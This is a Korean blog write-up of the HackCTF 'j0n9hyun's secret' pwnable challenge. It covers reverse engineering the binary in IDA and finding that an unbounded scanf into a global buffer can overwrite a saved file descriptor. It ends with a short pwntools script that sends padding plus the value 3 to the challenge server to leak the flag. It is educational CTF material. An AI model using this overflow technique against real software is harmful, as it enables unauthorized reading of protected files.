WAR GAME/HackCTF

[HackCTF : Pwnable] j0n9hyun's secret 풀이 (64bit, fd overwrite)

jir4vvit 2021. 4. 15. 16:06

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

JSec님이 문제 내신거다.


주어진 파일은 문제파일 바이너리

 

Analysis

일단 실행

음 이름을 입력받는다... 뭐지

실행 후 파일을 살펴보면, flag와 top_secret 파일이 생성된다.

IDA

함수 이름이 저런 것이 보아 ... static으로 컴파일 한 것 같다.

main함수를 찾아보자.

프로그램이 시작하면 start함수를 젤 먼저 실행한다. 여기서 main을 호출하는 구조이다.

그래서 먼저 start를 함수를 찾아서 저기 안에 있는 함수들을 보면서 main을 찾으면 된다.

(현재 사진은 내가 main을 찾고 rename해놓은 것이다.)

 

 

저기 출력된 문자열을 보고 이 함수가 main임을 확신하고 rename시켜주었다.

현재 저기 함수들... 다 내가 rename 시켜준 것인데,

 

open함수는 어떻게 알았냐면(사실 fopen함수란다.) 

r이라는 문자열이랑 top_secret 문자열을 보고... 읽기전용으로 top_secret 파일을 여는구나.. 라고 생각하고 open으로 해주었다. 

 

open의 반환값은 fd이니 변수는 fd로 rename

그리고 printf는.. 그냥 "input_name: " 출력시켜서 printf해줬고,

scanf는 %s 가 보이기도 했고, name을 입력해야하니까 이제 입력하는게 나오지 않을까? 라고 생각되어서 scanf라고 예측을 해줬다. unk_6CCD60에 입력한다.

참고로 %s라서 무한히 입력 가능하다.

 

read함수와 write 함수를 예측하는 것이 많이 힘들었는데,

인자는, edi, esi, edx 순으로 들어간다. 

내가 문제에서 자주 본 read함수는 첫번째 인자가 0으로, 표준입력을 의미하는 stdin이 들어있었다. 하지만 여기선 fd가 들어있어서 내가 빨리 눈치채지 못한 것 같다. 

아무튼... top_secret 내용을 unk_6CCD6A에다가 12C만큼 쓴다.

 

write 함수도 예측하기 힘들었다. 첫번쨰 인자가 1이고, 두번째가 방금 read함수와 같은 인자임에 주목했다.

해석하면, unk_6CCD6A 내용을 화면에 출력해준다. 

 

근데 아까 내가 로컬에서 했을 때.. 아무것도 출력을 안해줬다./...;;; ㅠ

그래서 nc로 접속을 해봤다. 

뭔가 top_secret의 내용이 출력된 것 같아서 내가 예측한 함수들이 대부분 맞았다라는 것을 확인할 수 있었다.

 

저 404_page가 의미하는 건...

더보기

ㅎㅎㅎ;; 아 지금은 아니다.

 

How to exploit

0x6CCD60 name 입력(scanf)

...

0x6CCD6A top_secret 파일 내용 입력

...

0x6CCE98 fd가 저장되어있음

 

 

name을 입력할때 fd를 건드릴 수 있다.

read로 저기 fd를 읽어 파일 내용을 쓰고 그 내용을 화면에 출력해주는데.... 

flag 파일의 fd로 변조시키면 될 듯 하다.

 

근데 flag 파일이 있는건 어떻게 확인했냐고...?

shift + F12 문자열 검색

더블 클릭

 

x누르기

OK누르면 해당 문자열을 호출한 함수로 가게 된다.

 

(이 방법으로 main 함수도 찾을 수 있을 듯 하다.)

 

+ flag 호출되는 과정

더보기

걍 flag 검색해서 위로 타고타고 올라가면 어디에서 호출되는지 확인할 수 있다.

얘가 init_array라는 놈이라고 한다.

Let's exploit

아 참고로 fd가 3인건 찍었다.

from pwn import *

#p = process('./j0n9hyun_secret')
p = remote('ctf.j0n9hyun.xyz', 3031)

payload = ''
payload += 'a'*(0xe98-0xd60)
payload += p64(3)

p.sendlineafter(': ', payload)

p.interactive()